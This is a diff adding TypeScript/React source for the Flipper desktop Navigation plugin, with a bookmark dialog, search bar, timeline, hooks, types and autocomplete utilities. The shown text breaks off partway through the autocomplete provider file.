desktop/plugins/navigation/components/SaveBookmarkDialog.tsx
Normal file
117
desktop/plugins/navigation/components/SaveBookmarkDialog.tsx
Normal file
@@ -0,0 +1,117 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Button, FlexColumn, Input, Sheet, styled} from 'flipper';
|
||||
import React, {useState} from 'react';
|
||||
import {Bookmark, URI} from '../types';
|
||||
|
||||
type Props = {
|
||||
uri: string | null;
|
||||
edit: boolean;
|
||||
shouldShow: boolean;
|
||||
onHide?: () => void;
|
||||
onRemove: (uri: URI) => void;
|
||||
onSubmit: (bookmark: Bookmark) => void;
|
||||
};
|
||||
|
||||
const Container = styled(FlexColumn)({
|
||||
padding: 10,
|
||||
width: 400,
|
||||
});
|
||||
|
||||
const Title = styled.div({
|
||||
fontWeight: 500,
|
||||
marginTop: 8,
|
||||
marginLeft: 2,
|
||||
marginBottom: 8,
|
||||
});
|
||||
|
||||
const URIContainer = styled.div({
|
||||
marginLeft: 2,
|
||||
marginBottom: 8,
|
||||
overflowWrap: 'break-word',
|
||||
});
|
||||
|
||||
const ButtonContainer = styled.div({
|
||||
marginLeft: 'auto',
|
||||
});
|
||||
|
||||
const NameInput = styled(Input)({
|
||||
margin: 0,
|
||||
marginBottom: 10,
|
||||
height: 30,
|
||||
});
|
||||
|
||||
export default (props: Props) => {
|
||||
const {edit, shouldShow, onHide, onRemove, onSubmit, uri} = props;
|
||||
const [commonName, setCommonName] = useState('');
|
||||
if (uri == null || !shouldShow) {
|
||||
return null;
|
||||
} else {
|
||||
return (
|
||||
<Sheet onHideSheet={onHide}>
|
||||
{(onHide: () => void) => {
|
||||
return (
|
||||
<Container>
|
||||
<Title>
|
||||
{edit ? 'Edit bookmark...' : 'Save to bookmarks...'}
|
||||
</Title>
|
||||
<NameInput
|
||||
placeholder="Name..."
|
||||
value={commonName}
|
||||
onChange={(event: React.ChangeEvent<HTMLInputElement>) =>
|
||||
setCommonName(event.target.value)
|
||||
}
|
||||
/>
|
||||
<URIContainer>{uri}</URIContainer>
|
||||
<ButtonContainer>
|
||||
<Button
|
||||
onClick={() => {
|
||||
onHide();
|
||||
setCommonName('');
|
||||
}}
|
||||
compact
|
||||
padded>
|
||||
Cancel
|
||||
</Button>
|
||||
{edit ? (
|
||||
<Button
|
||||
type="danger"
|
||||
onClick={() => {
|
||||
onHide();
|
||||
onRemove(uri);
|
||||
setCommonName('');
|
||||
}}
|
||||
compact
|
||||
padded>
|
||||
Remove
|
||||
</Button>
|
||||
) : null}
|
||||
|
||||
<Button
|
||||
type="primary"
|
||||
onClick={() => {
|
||||
onHide();
|
||||
onSubmit({uri, commonName});
|
||||
// The component state is remembered even after unmounting.
|
||||
// Thus it is necessary to reset the commonName here.
|
||||
setCommonName('');
|
||||
}}
|
||||
compact
|
||||
padded>
|
||||
Save
|
||||
</Button>
|
||||
</ButtonContainer>
|
||||
</Container>
|
||||
);
|
||||
}}
|
||||
</Sheet>
|
||||
);
|
||||
}
|
||||
};
|
||||
166
desktop/plugins/navigation/components/SearchBar.tsx
Normal file
166
desktop/plugins/navigation/components/SearchBar.tsx
Normal file
@@ -0,0 +1,166 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {styled, SearchBox, SearchInput, Toolbar} from 'flipper';
|
||||
import {AutoCompleteSheet, IconButton, FavoriteButton} from './';
|
||||
import {AutoCompleteProvider, Bookmark, URI} from '../types';
|
||||
import React, {Component} from 'react';
|
||||
|
||||
type Props = {
|
||||
onFavorite: (query: URI) => void;
|
||||
onNavigate: (query: URI) => void;
|
||||
bookmarks: Map<URI, Bookmark>;
|
||||
providers: Array<AutoCompleteProvider>;
|
||||
uriFromAbove: URI;
|
||||
};
|
||||
|
||||
type State = {
|
||||
query: URI;
|
||||
inputFocused: boolean;
|
||||
autoCompleteSheetOpen: boolean;
|
||||
searchInputValue: URI;
|
||||
prevURIFromAbove: URI;
|
||||
};
|
||||
|
||||
const IconContainer = styled.div({
|
||||
display: 'inline-flex',
|
||||
height: '16px',
|
||||
alignItems: 'center',
|
||||
'': {
|
||||
marginLeft: 10,
|
||||
'.icon-button': {
|
||||
height: 16,
|
||||
},
|
||||
'img,div': {
|
||||
verticalAlign: 'top',
|
||||
alignItems: 'none',
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
const ToolbarContainer = styled.div({
|
||||
'.drop-shadow': {
|
||||
boxShadow: '0 1px 3px rgba(0,0,0,0.12), 0 1px 2px rgba(0,0,0,0.24)',
|
||||
},
|
||||
});
|
||||
|
||||
const SearchInputContainer = styled.div({
|
||||
width: '100%',
|
||||
marginLeft: 5,
|
||||
marginRight: 9,
|
||||
position: 'relative',
|
||||
});
|
||||
|
||||
class SearchBar extends Component<Props, State> {
|
||||
state = {
|
||||
inputFocused: false,
|
||||
autoCompleteSheetOpen: false,
|
||||
query: '',
|
||||
searchInputValue: '',
|
||||
prevURIFromAbove: '',
|
||||
};
|
||||
|
||||
favorite = (searchInputValue: string) => {
|
||||
this.props.onFavorite(searchInputValue);
|
||||
};
|
||||
|
||||
navigateTo = (searchInputValue: string) => {
|
||||
this.setState({query: searchInputValue, searchInputValue});
|
||||
this.props.onNavigate(searchInputValue);
|
||||
};
|
||||
|
||||
queryInputChanged = (event: React.ChangeEvent<HTMLInputElement>) => {
|
||||
const value = event.target.value;
|
||||
this.setState({query: value, searchInputValue: value});
|
||||
};
|
||||
|
||||
static getDerivedStateFromProps = (newProps: Props, state: State) => {
|
||||
const {uriFromAbove: newURIFromAbove} = newProps;
|
||||
const {prevURIFromAbove} = state;
|
||||
if (newURIFromAbove !== prevURIFromAbove) {
|
||||
return {
|
||||
searchInputValue: newURIFromAbove,
|
||||
query: newURIFromAbove,
|
||||
prevURIFromAbove: newURIFromAbove,
|
||||
};
|
||||
}
|
||||
return null;
|
||||
};
|
||||
|
||||
render() {
|
||||
const {bookmarks, providers} = this.props;
|
||||
const {
|
||||
autoCompleteSheetOpen,
|
||||
inputFocused,
|
||||
searchInputValue,
|
||||
query,
|
||||
} = this.state;
|
||||
return (
|
||||
<ToolbarContainer>
|
||||
<Toolbar>
|
||||
<SearchBox className={inputFocused ? 'drop-shadow' : ''}>
|
||||
<SearchInputContainer>
|
||||
<SearchInput
|
||||
value={searchInputValue}
|
||||
onBlur={() =>
|
||||
this.setState({
|
||||
autoCompleteSheetOpen: false,
|
||||
inputFocused: false,
|
||||
})
|
||||
}
|
||||
onFocus={(event: React.FocusEvent<HTMLInputElement>) => {
|
||||
event.target.select();
|
||||
this.setState({
|
||||
autoCompleteSheetOpen: true,
|
||||
inputFocused: true,
|
||||
});
|
||||
}}
|
||||
onChange={this.queryInputChanged}
|
||||
onKeyPress={(e: React.KeyboardEvent<HTMLInputElement>) => {
|
||||
if (e.key === 'Enter') {
|
||||
this.navigateTo(this.state.searchInputValue);
|
||||
(e.target as HTMLInputElement).blur();
|
||||
}
|
||||
}}
|
||||
placeholder="Navigate To..."
|
||||
/>
|
||||
{autoCompleteSheetOpen && query.length > 0 ? (
|
||||
<AutoCompleteSheet
|
||||
providers={providers}
|
||||
onNavigate={this.navigateTo}
|
||||
onHighlighted={(newInputValue: URI) =>
|
||||
this.setState({searchInputValue: newInputValue})
|
||||
}
|
||||
query={query}
|
||||
/>
|
||||
) : null}
|
||||
</SearchInputContainer>
|
||||
</SearchBox>
|
||||
{searchInputValue.length > 0 ? (
|
||||
<IconContainer>
|
||||
<IconButton
|
||||
icon="send"
|
||||
size={16}
|
||||
outline={true}
|
||||
onClick={() => this.navigateTo(searchInputValue)}
|
||||
/>
|
||||
<FavoriteButton
|
||||
size={16}
|
||||
highlighted={bookmarks.has(searchInputValue)}
|
||||
onClick={() => this.favorite(searchInputValue)}
|
||||
/>
|
||||
</IconContainer>
|
||||
) : null}
|
||||
</Toolbar>
|
||||
</ToolbarContainer>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default SearchBar;
|
||||
95
desktop/plugins/navigation/components/Timeline.tsx
Normal file
95
desktop/plugins/navigation/components/Timeline.tsx
Normal file
@@ -0,0 +1,95 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {colors, FlexCenter, styled} from 'flipper';
|
||||
import {NavigationInfoBox} from './';
|
||||
import {Bookmark, NavigationEvent, URI} from '../types';
|
||||
import React, {useRef} from 'react';
|
||||
|
||||
type Props = {
|
||||
bookmarks: Map<string, Bookmark>;
|
||||
events: Array<NavigationEvent>;
|
||||
onNavigate: (uri: URI) => void;
|
||||
onFavorite: (uri: URI) => void;
|
||||
};
|
||||
|
||||
const TimelineLine = styled.div({
|
||||
width: 2,
|
||||
backgroundColor: colors.highlight,
|
||||
position: 'absolute',
|
||||
top: 38,
|
||||
bottom: 0,
|
||||
});
|
||||
|
||||
const TimelineContainer = styled.div({
|
||||
position: 'relative',
|
||||
paddingLeft: 25,
|
||||
overflowY: 'scroll',
|
||||
flexGrow: 1,
|
||||
backgroundColor: colors.light02,
|
||||
scrollBehavior: 'smooth',
|
||||
'&>div': {
|
||||
position: 'relative',
|
||||
minHeight: '100%',
|
||||
'&:last-child': {
|
||||
paddingBottom: 25,
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
const NavigationEventContainer = styled.div({
|
||||
display: 'flex',
|
||||
paddingTop: 25,
|
||||
paddingLeft: 25,
|
||||
marginRight: 25,
|
||||
});
|
||||
|
||||
const NoData = styled(FlexCenter)({
|
||||
height: '100%',
|
||||
fontSize: 18,
|
||||
backgroundColor: colors.macOSTitleBarBackgroundBlur,
|
||||
color: colors.macOSTitleBarIcon,
|
||||
});
|
||||
|
||||
export default (props: Props) => {
|
||||
const {bookmarks, events, onNavigate, onFavorite} = props;
|
||||
const timelineRef = useRef<HTMLDivElement>(null);
|
||||
return events.length === 0 ? (
|
||||
<NoData>No Navigation Events to Show</NoData>
|
||||
) : (
|
||||
<TimelineContainer ref={timelineRef}>
|
||||
<div>
|
||||
<TimelineLine />
|
||||
{events.map((event: NavigationEvent, idx: number) => {
|
||||
return (
|
||||
<NavigationEventContainer>
|
||||
<NavigationInfoBox
|
||||
key={idx}
|
||||
isBookmarked={
|
||||
event.uri != null ? bookmarks.has(event.uri) : false
|
||||
}
|
||||
className={event.className}
|
||||
uri={event.uri}
|
||||
onNavigate={uri => {
|
||||
if (timelineRef.current != null) {
|
||||
timelineRef.current.scrollTo(0, 0);
|
||||
}
|
||||
onNavigate(uri);
|
||||
}}
|
||||
onFavorite={onFavorite}
|
||||
screenshot={event.screenshot}
|
||||
date={event.date}
|
||||
/>
|
||||
</NavigationEventContainer>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</TimelineContainer>
|
||||
);
|
||||
};
|
||||
18
desktop/plugins/navigation/components/index.tsx
Normal file
18
desktop/plugins/navigation/components/index.tsx
Normal file
@@ -0,0 +1,18 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
export {default as AutoCompleteSheet} from './AutoCompleteSheet';
|
||||
export {default as BookmarksSidebar} from './BookmarksSidebar';
|
||||
export {default as FavoriteButton} from './FavoriteButton';
|
||||
export {default as IconButton} from './IconButton';
|
||||
export {default as NavigationInfoBox} from './NavigationInfoBox';
|
||||
export {default as RequiredParametersDialog} from './RequiredParametersDialog';
|
||||
export {default as SaveBookmarkDialog} from './SaveBookmarkDialog';
|
||||
export {default as SearchBar} from './SearchBar';
|
||||
export {default as Timeline} from './Timeline';
|
||||
52
desktop/plugins/navigation/hooks/autoCompleteSheet.tsx
Normal file
52
desktop/plugins/navigation/hooks/autoCompleteSheet.tsx
Normal file
@@ -0,0 +1,52 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {useEffect, useState} from 'react';
|
||||
import {AutoCompleteLineItem} from '../types';
|
||||
|
||||
export const useItemNavigation = (
|
||||
lineItems: Array<AutoCompleteLineItem>,
|
||||
onHighlighted: (uri: string) => void,
|
||||
) => {
|
||||
const [selectedItem, setSelectedItem] = useState(0);
|
||||
|
||||
const handleKeyPress = (event: KeyboardEvent) => {
|
||||
switch (event.key) {
|
||||
case 'ArrowDown': {
|
||||
const newSelectedItem =
|
||||
selectedItem < lineItems.length - 1
|
||||
? selectedItem + 1
|
||||
: lineItems.length - 1;
|
||||
setSelectedItem(newSelectedItem);
|
||||
onHighlighted(lineItems[newSelectedItem].uri);
|
||||
break;
|
||||
}
|
||||
case 'ArrowUp': {
|
||||
const newSelectedItem =
|
||||
selectedItem > 0 ? selectedItem - 1 : selectedItem;
|
||||
setSelectedItem(newSelectedItem);
|
||||
onHighlighted(lineItems[newSelectedItem].uri);
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
setSelectedItem(0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
window.addEventListener('keydown', handleKeyPress);
|
||||
return () => {
|
||||
window.removeEventListener('keydown', handleKeyPress);
|
||||
};
|
||||
});
|
||||
|
||||
return selectedItem;
|
||||
};
|
||||
35
desktop/plugins/navigation/hooks/requiredParameters.tsx
Normal file
35
desktop/plugins/navigation/hooks/requiredParameters.tsx
Normal file
@@ -0,0 +1,35 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {useEffect, useState} from 'react';
|
||||
import {validateParameter} from '../util/uri';
|
||||
|
||||
export const useRequiredParameterFormValidator = (
|
||||
requiredParameters: Array<string>,
|
||||
) => {
|
||||
const [values, setValuesArray] = useState<Array<string>>(
|
||||
requiredParameters.map(() => ''),
|
||||
);
|
||||
const [isValid, setIsValid] = useState(false);
|
||||
useEffect(() => {
|
||||
if (requiredParameters.length != values.length) {
|
||||
setValuesArray(requiredParameters.map(() => ''));
|
||||
}
|
||||
if (
|
||||
values.every((value, idx) =>
|
||||
validateParameter(value, requiredParameters[idx]),
|
||||
)
|
||||
) {
|
||||
setIsValid(true);
|
||||
} else {
|
||||
setIsValid(false);
|
||||
}
|
||||
});
|
||||
return {isValid, values, setValuesArray};
|
||||
};
|
||||
238
desktop/plugins/navigation/index.tsx
Normal file
238
desktop/plugins/navigation/index.tsx
Normal file
@@ -0,0 +1,238 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
* @flow strict-local
|
||||
*/
|
||||
|
||||
import {FlipperPlugin, FlexColumn, bufferToBlob} from 'flipper';
|
||||
import {
|
||||
BookmarksSidebar,
|
||||
SaveBookmarkDialog,
|
||||
SearchBar,
|
||||
Timeline,
|
||||
RequiredParametersDialog,
|
||||
} from './components';
|
||||
import {
|
||||
removeBookmark,
|
||||
readBookmarksFromDB,
|
||||
writeBookmarkToDB,
|
||||
} from './util/indexedDB';
|
||||
import {
|
||||
appMatchPatternsToAutoCompleteProvider,
|
||||
bookmarksToAutoCompleteProvider,
|
||||
DefaultProvider,
|
||||
} from './util/autoCompleteProvider';
|
||||
import {getAppMatchPatterns} from './util/appMatchPatterns';
|
||||
import {getRequiredParameters, filterOptionalParameters} from './util/uri';
|
||||
import {
|
||||
State,
|
||||
PersistedState,
|
||||
Bookmark,
|
||||
NavigationEvent,
|
||||
AppMatchPattern,
|
||||
} from './types';
|
||||
import React from 'react';
|
||||
|
||||
export default class extends FlipperPlugin<State, any, PersistedState> {
|
||||
static title = 'Navigation';
|
||||
static id = 'Navigation';
|
||||
static icon = 'directions';
|
||||
|
||||
static defaultPersistedState = {
|
||||
navigationEvents: [],
|
||||
bookmarks: new Map<string, Bookmark>(),
|
||||
currentURI: '',
|
||||
bookmarksProvider: DefaultProvider(),
|
||||
appMatchPatterns: [],
|
||||
appMatchPatternsProvider: DefaultProvider(),
|
||||
};
|
||||
|
||||
state = {
|
||||
shouldShowSaveBookmarkDialog: false,
|
||||
saveBookmarkURI: null as string | null,
|
||||
shouldShowURIErrorDialog: false,
|
||||
requiredParameters: [],
|
||||
};
|
||||
|
||||
static persistedStateReducer = (
|
||||
persistedState: PersistedState,
|
||||
method: string,
|
||||
payload: any,
|
||||
) => {
|
||||
switch (method) {
|
||||
case 'nav_event':
|
||||
const navigationEvent: NavigationEvent = {
|
||||
uri:
|
||||
payload.uri === undefined ? null : decodeURIComponent(payload.uri),
|
||||
date: new Date(payload.date) || new Date(),
|
||||
className: payload.class === undefined ? null : payload.class,
|
||||
screenshot: null,
|
||||
};
|
||||
|
||||
return {
|
||||
...persistedState,
|
||||
currentURI:
|
||||
navigationEvent.uri == null
|
||||
? persistedState.currentURI
|
||||
: decodeURIComponent(navigationEvent.uri),
|
||||
navigationEvents: [
|
||||
navigationEvent,
|
||||
...persistedState.navigationEvents,
|
||||
],
|
||||
};
|
||||
default:
|
||||
return persistedState;
|
||||
}
|
||||
};
|
||||
|
||||
subscribeToNavigationEvents = () => {
|
||||
this.client.subscribe('nav_event', () =>
|
||||
// Wait for view to render and then take a screenshot
|
||||
setTimeout(async () => {
|
||||
const device = await this.getDevice();
|
||||
const screenshot = await device.screenshot();
|
||||
const blobURL = URL.createObjectURL(bufferToBlob(screenshot));
|
||||
this.props.persistedState.navigationEvents[0].screenshot = blobURL;
|
||||
this.props.setPersistedState({...this.props.persistedState});
|
||||
}, 1000),
|
||||
);
|
||||
};
|
||||
|
||||
componentDidMount() {
|
||||
const {selectedApp} = this.props;
|
||||
this.subscribeToNavigationEvents();
|
||||
this.getDevice()
|
||||
.then(device => getAppMatchPatterns(selectedApp, device))
|
||||
.then((patterns: Array<AppMatchPattern>) => {
|
||||
this.props.setPersistedState({
|
||||
appMatchPatterns: patterns,
|
||||
appMatchPatternsProvider: appMatchPatternsToAutoCompleteProvider(
|
||||
patterns,
|
||||
),
|
||||
});
|
||||
})
|
||||
.catch(() => {
|
||||
/* Silently fail here. */
|
||||
});
|
||||
readBookmarksFromDB().then(bookmarks => {
|
||||
this.props.setPersistedState({
|
||||
bookmarks: bookmarks,
|
||||
bookmarksProvider: bookmarksToAutoCompleteProvider(bookmarks),
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
navigateTo = async (query: string) => {
|
||||
const filteredQuery = filterOptionalParameters(query);
|
||||
this.props.setPersistedState({currentURI: filteredQuery});
|
||||
const requiredParameters = getRequiredParameters(filteredQuery);
|
||||
if (requiredParameters.length === 0) {
|
||||
const device = await this.getDevice();
|
||||
if (this.realClient.query.app === 'Facebook' && device.os === 'iOS') {
|
||||
// use custom navigate_to event for Wilde
|
||||
this.client.send('navigate_to', {
|
||||
url: filterOptionalParameters(filteredQuery),
|
||||
});
|
||||
} else {
|
||||
device.navigateToLocation(filterOptionalParameters(filteredQuery));
|
||||
}
|
||||
} else {
|
||||
this.setState({
|
||||
requiredParameters,
|
||||
shouldShowURIErrorDialog: true,
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
onFavorite = (uri: string) => {
|
||||
this.setState({shouldShowSaveBookmarkDialog: true, saveBookmarkURI: uri});
|
||||
};
|
||||
|
||||
addBookmark = (bookmark: Bookmark) => {
|
||||
const newBookmark = {
|
||||
uri: bookmark.uri,
|
||||
commonName: bookmark.commonName,
|
||||
};
|
||||
|
||||
writeBookmarkToDB(newBookmark);
|
||||
const newMapRef = this.props.persistedState.bookmarks;
|
||||
newMapRef.set(newBookmark.uri, newBookmark);
|
||||
this.props.setPersistedState({
|
||||
bookmarks: newMapRef,
|
||||
bookmarksProvider: bookmarksToAutoCompleteProvider(newMapRef),
|
||||
});
|
||||
};
|
||||
|
||||
removeBookmark = (uri: string) => {
|
||||
removeBookmark(uri);
|
||||
const newMapRef = this.props.persistedState.bookmarks;
|
||||
newMapRef.delete(uri);
|
||||
this.props.setPersistedState({
|
||||
bookmarks: newMapRef,
|
||||
bookmarksProvider: bookmarksToAutoCompleteProvider(newMapRef),
|
||||
});
|
||||
};
|
||||
|
||||
render() {
|
||||
const {
|
||||
saveBookmarkURI,
|
||||
shouldShowSaveBookmarkDialog,
|
||||
shouldShowURIErrorDialog,
|
||||
requiredParameters,
|
||||
} = this.state;
|
||||
const {
|
||||
bookmarks,
|
||||
bookmarksProvider,
|
||||
currentURI,
|
||||
appMatchPatternsProvider,
|
||||
navigationEvents,
|
||||
} = this.props.persistedState;
|
||||
const autoCompleteProviders = [bookmarksProvider, appMatchPatternsProvider];
|
||||
return (
|
||||
<FlexColumn grow>
|
||||
<SearchBar
|
||||
providers={autoCompleteProviders}
|
||||
bookmarks={bookmarks}
|
||||
onNavigate={this.navigateTo}
|
||||
onFavorite={this.onFavorite}
|
||||
uriFromAbove={currentURI}
|
||||
/>
|
||||
<Timeline
|
||||
bookmarks={bookmarks}
|
||||
events={navigationEvents}
|
||||
onNavigate={this.navigateTo}
|
||||
onFavorite={this.onFavorite}
|
||||
/>
|
||||
<BookmarksSidebar
|
||||
bookmarks={bookmarks}
|
||||
onRemove={this.removeBookmark}
|
||||
onNavigate={this.navigateTo}
|
||||
/>
|
||||
<SaveBookmarkDialog
|
||||
shouldShow={shouldShowSaveBookmarkDialog}
|
||||
uri={saveBookmarkURI}
|
||||
onHide={() => this.setState({shouldShowSaveBookmarkDialog: false})}
|
||||
edit={
|
||||
saveBookmarkURI != null ? bookmarks.has(saveBookmarkURI) : false
|
||||
}
|
||||
onSubmit={this.addBookmark}
|
||||
onRemove={this.removeBookmark}
|
||||
/>
|
||||
<RequiredParametersDialog
|
||||
shouldShow={shouldShowURIErrorDialog}
|
||||
onHide={() => this.setState({shouldShowURIErrorDialog: false})}
|
||||
uri={currentURI}
|
||||
requiredParameters={requiredParameters}
|
||||
onSubmit={this.navigateTo}
|
||||
/>
|
||||
</FlexColumn>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/* @scarf-info: do not remove, more info: https://fburl.com/scarf */
|
||||
/* @scarf-generated: flipper-plugin index.js.template 0bfa32e5-fb15-4705-81f8-86260a1f3f8e */
|
||||
12
desktop/plugins/navigation/package.json
Normal file
12
desktop/plugins/navigation/package.json
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"name": "flipper-plugin-navigation",
|
||||
"version": "0.0.1",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"title": "Navigation",
|
||||
"icon": "directions",
|
||||
"bugs": {
|
||||
"email": "beneloca@fb.com"
|
||||
}
|
||||
}
|
||||
54
desktop/plugins/navigation/types.tsx
Normal file
54
desktop/plugins/navigation/types.tsx
Normal file
@@ -0,0 +1,54 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
export type URI = string;
|
||||
|
||||
export type State = {
|
||||
shouldShowSaveBookmarkDialog: boolean;
|
||||
shouldShowURIErrorDialog: boolean;
|
||||
saveBookmarkURI: URI | null;
|
||||
requiredParameters: Array<string>;
|
||||
};
|
||||
|
||||
export type PersistedState = {
|
||||
bookmarks: Map<URI, Bookmark>;
|
||||
navigationEvents: Array<NavigationEvent>;
|
||||
bookmarksProvider: AutoCompleteProvider;
|
||||
appMatchPatterns: Array<AppMatchPattern>;
|
||||
appMatchPatternsProvider: AutoCompleteProvider;
|
||||
currentURI: string;
|
||||
};
|
||||
|
||||
export type NavigationEvent = {
|
||||
date: Date | null;
|
||||
uri: URI | null;
|
||||
className: string | null;
|
||||
screenshot: string | null;
|
||||
};
|
||||
|
||||
export type Bookmark = {
|
||||
uri: URI;
|
||||
commonName: string | null;
|
||||
};
|
||||
|
||||
export type AutoCompleteProvider = {
|
||||
icon: string;
|
||||
matchPatterns: Map<string, URI>;
|
||||
};
|
||||
|
||||
export type AutoCompleteLineItem = {
|
||||
icon: string;
|
||||
matchPattern: string;
|
||||
uri: URI;
|
||||
};
|
||||
|
||||
export type AppMatchPattern = {
|
||||
className: string;
|
||||
pattern: string;
|
||||
};
|
||||
52
desktop/plugins/navigation/util/appMatchPatterns.tsx
Normal file
52
desktop/plugins/navigation/util/appMatchPatterns.tsx
Normal file
@@ -0,0 +1,52 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import fs from 'fs';
|
||||
import path from 'path';
|
||||
import {BaseDevice, AndroidDevice, IOSDevice} from 'flipper';
|
||||
import {AppMatchPattern} from '../types';
|
||||
|
||||
const extractAppNameFromSelectedApp = (selectedApp: string | null) => {
|
||||
if (selectedApp == null) {
|
||||
return null;
|
||||
} else {
|
||||
return selectedApp.split('#')[0];
|
||||
}
|
||||
};
|
||||
|
||||
export const getAppMatchPatterns = (
|
||||
selectedApp: string | null,
|
||||
device: BaseDevice,
|
||||
) => {
|
||||
return new Promise<Array<AppMatchPattern>>((resolve, reject) => {
|
||||
const appName = extractAppNameFromSelectedApp(selectedApp);
|
||||
if (appName === 'Facebook') {
|
||||
let filename: string;
|
||||
if (device instanceof AndroidDevice) {
|
||||
filename = 'facebook-match-patterns-android.json';
|
||||
} else if (device instanceof IOSDevice) {
|
||||
filename = 'facebook-match-patterns-ios.json';
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
const patternsPath = path.join('facebook', filename);
|
||||
fs.readFile(patternsPath, (err, data) => {
|
||||
if (err) {
|
||||
reject(err);
|
||||
} else {
|
||||
resolve(JSON.parse(data.toString()));
|
||||
}
|
||||
});
|
||||
} else if (appName != null) {
|
||||
reject(new Error('No rule for app ' + appName));
|
||||
} else {
|
||||
reject(new Error('selectedApp was null'));
|
||||
}
|
||||
});
|
||||
};
|
||||
103
desktop/plugins/navigation/util/autoCompleteProvider.tsx
Normal file
103
desktop/plugins/navigation/util/autoCompleteProvider.tsx
Normal file
@@ -0,0 +1,103 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
URI,
|
||||
Bookmark,
|
||||
AutoCompleteProvider,
|
||||
AutoCompleteLineItem,
|
||||
AppMatchPattern,
|
||||
} from '../types';
|
||||
|
||||
export function DefaultProvider(): AutoCompleteProvider {
|
||||
return {
|
||||
icon: 'caution',
|
||||
matchPatterns: new Map<string, URI>(),
|
||||
};
|
||||
}
|
||||
|
||||
export const bookmarksToAutoCompleteProvider = (
|
||||
bookmarks: Map<URI, Bookmark>,
|
||||
) => {
|
||||
const autoCompleteProvider = {
|
||||
icon: 'bookmark',
|
||||
matchPatterns: new Map<string, URI>(),
|
||||
} as AutoCompleteProvider;
|
||||
bookmarks.forEach((bookmark, uri) => {
|
||||
const matchPattern = bookmark.commonName + ' - ' + uri;
|
||||
autoCompleteProvider.matchPatterns.set(matchPattern, uri);
|
||||
});
|
||||
return autoCompleteProvider;
|
||||
};
|
||||
|
||||
export const appMatchPatternsToAutoCompleteProvider = (
|
||||
appMatchPatterns: Array<AppMatchPattern>,
|
||||
) => {
|
||||
const autoCompleteProvider = {
|
||||
icon: 'mobile',
|
||||
matchPatterns: new Map<string, URI>(),
|
||||
};
|
||||
appMatchPatterns.forEach(appMatchPattern => {
|
||||
const matchPattern =
|
||||
appMatchPattern.className + ' - ' + appMatchPattern.pattern;
|
||||
autoCompleteProvider.matchPatterns.set(
|
||||
matchPattern,
|
||||
appMatchPattern.pattern,
|
||||
);
|
||||
});
|
||||
return autoCompleteProvider;
|
||||
};
|
||||
|
||||
export const filterMatchPatterns = (
|
||||
matchPatterns: Map<string, URI>,
|
||||
query: URI,
|
||||
maxItems: number,
|
||||
) => {
|
||||
const filteredPatterns = new Map<string, URI>();
|
||||
for (const [pattern, uri] of matchPatterns) {
|
||||
if (filteredPatterns.size >= maxItems) {
|
||||
break;
|
||||
} else if (pattern.toLowerCase().includes(query.toLowerCase())) {
|
||||
filteredPatterns.set(pattern, uri);
|
||||
}
|
||||
}
|
||||
return filteredPatterns;
|
||||
};
|
||||
|
||||
const filterProvider = (
|
||||
provider: AutoCompleteProvider,
|
||||
query: string,
|
||||
maxItems: number,
|
||||
) => {
|
||||
return {
|
||||
...provider,
|
||||
matchPatterns: filterMatchPatterns(provider.matchPatterns, query, maxItems),
|
||||
};
|
||||
};
|
||||
|
||||
export const filterProvidersToLineItems = (
|
||||
providers: Array<AutoCompleteProvider>,
|
||||
query: string,
|
||||
maxItems: number,
|
||||
) => {
|
||||
